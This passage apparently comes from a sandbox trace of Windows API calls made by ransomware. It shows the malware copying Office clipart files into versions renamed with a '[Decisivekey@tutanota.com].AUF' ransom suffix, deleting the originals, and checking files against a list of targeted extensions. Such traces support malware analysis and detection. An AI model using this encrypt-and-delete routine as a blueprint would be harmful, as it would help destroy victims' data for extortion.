(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString=".jpg") returned 4 [0221.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.703] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4984) returned 1 [0221.703] CloseHandle (hObject=0x1e8) returned 1 [0221.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x20 [0221.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.704] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.704] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.704] GetLastError () returned 0x0 [0221.704] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1378, lpOverlapped=0x0) returned 1 [0221.759] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0221.760] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.760] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.760] SetEndOfFile (hFile=0x230) returned 1 [0221.794] CloseHandle (hObject=0x230) returned 1 [0221.794] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.794] SetEndOfFile (hFile=0x1e8) returned 1 [0221.795] CloseHandle (hObject=0x1e8) returned 1 [0221.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.852] lstrlenW (lpString=".doc") returned 4 [0221.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString=".docx") returned 5 [0221.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.852] lstrlenW (lpString=".pdf") returned 4 [0221.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString=".xls") returned 4 [0221.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.852] lstrlenW (lpString=".xlsx") returned 5 [0221.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.852] lstrlenW (lpString=".ppt") returned 4 [0221.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.852] lstrlenW (lpString=".zip") returned 4 [0221.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.852] lstrlenW (lpString=".rar") returned 4 [0221.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString=".bz2") returned 4 [0221.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.853] lstrlenW (lpString=".7z") returned 3 [0221.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.853] lstrlenW (lpString=".dbf") returned 4 [0221.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.853] lstrlenW (lpString=".1cd") returned 4 [0221.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0221.853] lstrlenW (lpString=".jpg") returned 4 [0221.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.862] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.862] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.862] GetLastError () returned 0x0 [0221.862] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x91c, lpOverlapped=0x0) returned 1 [0221.877] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x920, lpOverlapped=0x0) returned 1 [0221.877] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.877] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.878] SetEndOfFile (hFile=0x210) returned 1 [0221.878] CloseHandle (hObject=0x210) returned 1 [0221.878] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.878] SetEndOfFile (hFile=0x20c) returned 1 [0221.878] CloseHandle (hObject=0x20c) returned 1 [0221.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0221.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.882] lstrlenW (lpString=".doc") returned 4 [0221.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.882] lstrlenW (lpString=".docx") returned 5 [0221.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.882] lstrlenW (lpString=".pdf") returned 4 [0221.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.882] lstrlenW (lpString=".xls") returned 4 [0221.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.882] lstrlenW (lpString=".xlsx") returned 5 [0221.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.882] lstrlenW (lpString=".ppt") returned 4 [0221.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.882] lstrlenW (lpString=".zip") returned 4 [0221.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.882] lstrlenW (lpString=".rar") returned 4 [0221.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.882] lstrlenW (lpString=".bz2") returned 4 [0221.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.882] lstrlenW (lpString=".7z") returned 3 [0221.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.883] lstrlenW (lpString=".dbf") returned 4 [0221.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.883] lstrlenW (lpString=".1cd") returned 4 [0221.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0221.883] lstrlenW (lpString=".jpg") returned 4 [0221.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.885] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=31180) returned 1 [0221.885] CloseHandle (hObject=0x20c) returned 1 [0221.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0221.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.885] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.885] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.886] GetLastError () returned 0x0 [0221.886] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x79cc, lpOverlapped=0x0) returned 1 [0221.888] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0221.889] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.889] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.890] SetEndOfFile (hFile=0x210) returned 1 [0221.890] CloseHandle (hObject=0x210) returned 1 [0221.890] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.890] SetEndOfFile (hFile=0x20c) returned 1 [0221.892] CloseHandle (hObject=0x20c) returned 1 [0221.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString=".doc") returned 4 [0221.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString=".docx") returned 5 [0221.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.893] lstrlenW (lpString=".pdf") returned 4 [0221.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString=".xls") returned 4 [0221.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.893] lstrlenW (lpString=".xlsx") returned 5 [0221.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.893] lstrlenW (lpString=".ppt") returned 4 [0221.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString=".zip") returned 4 [0221.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.893] lstrlenW (lpString=".rar") returned 4 [0221.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString=".bz2") returned 4 [0221.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString=".7z") returned 3 [0221.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString=".dbf") returned 4 [0221.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString=".1cd") returned 4 [0221.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0221.893] lstrlenW (lpString=".jpg") returned 4 [0221.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.894] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=12958) returned 1 [0221.894] CloseHandle (hObject=0x20c) returned 1 [0221.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0221.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.894] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.894] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.895] GetLastError () returned 0x0 [0221.895] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x329e, lpOverlapped=0x0) returned 1 [0221.907] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0221.908] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.911] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.912] SetEndOfFile (hFile=0x210) returned 1 [0221.912] CloseHandle (hObject=0x210) returned 1 [0221.912] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.912] SetEndOfFile (hFile=0x20c) returned 1 [0221.912] CloseHandle (hObject=0x20c) returned 1 [0221.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString=".doc") returned 4 [0221.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString=".docx") returned 5 [0221.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.913] lstrlenW (lpString=".pdf") returned 4 [0221.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString=".xls") returned 4 [0221.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.913] lstrlenW (lpString=".xlsx") returned 5 [0221.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.913] lstrlenW (lpString=".ppt") returned 4 [0221.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString=".zip") returned 4 [0221.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.913] lstrlenW (lpString=".rar") returned 4 [0221.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString=".bz2") returned 4 [0221.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString=".7z") returned 3 [0221.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString=".dbf") returned 4 [0221.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString=".1cd") returned 4 [0221.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0221.913] lstrlenW (lpString=".jpg") returned 4 [0221.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.914] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4396) returned 1 [0221.914] CloseHandle (hObject=0x20c) returned 1 [0221.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0221.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0221.914] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.914] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0221.915] GetLastError () returned 0x0 [0221.915] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x112c, lpOverlapped=0x0) returned 1 [0221.924] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0221.925] ReadFile (in: hFile=0x20c, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.925] WriteFile (in: hFile=0x210, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.925] SetEndOfFile (hFile=0x210) returned 1 [0221.925] CloseHandle (hObject=0x210) returned 1 [0221.925] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.925] SetEndOfFile (hFile=0x20c) returned 1 [0221.926] CloseHandle (hObject=0x20c) returned 1 [0221.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0221.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0221.926] lstrlenW (lpString="C:\\Program 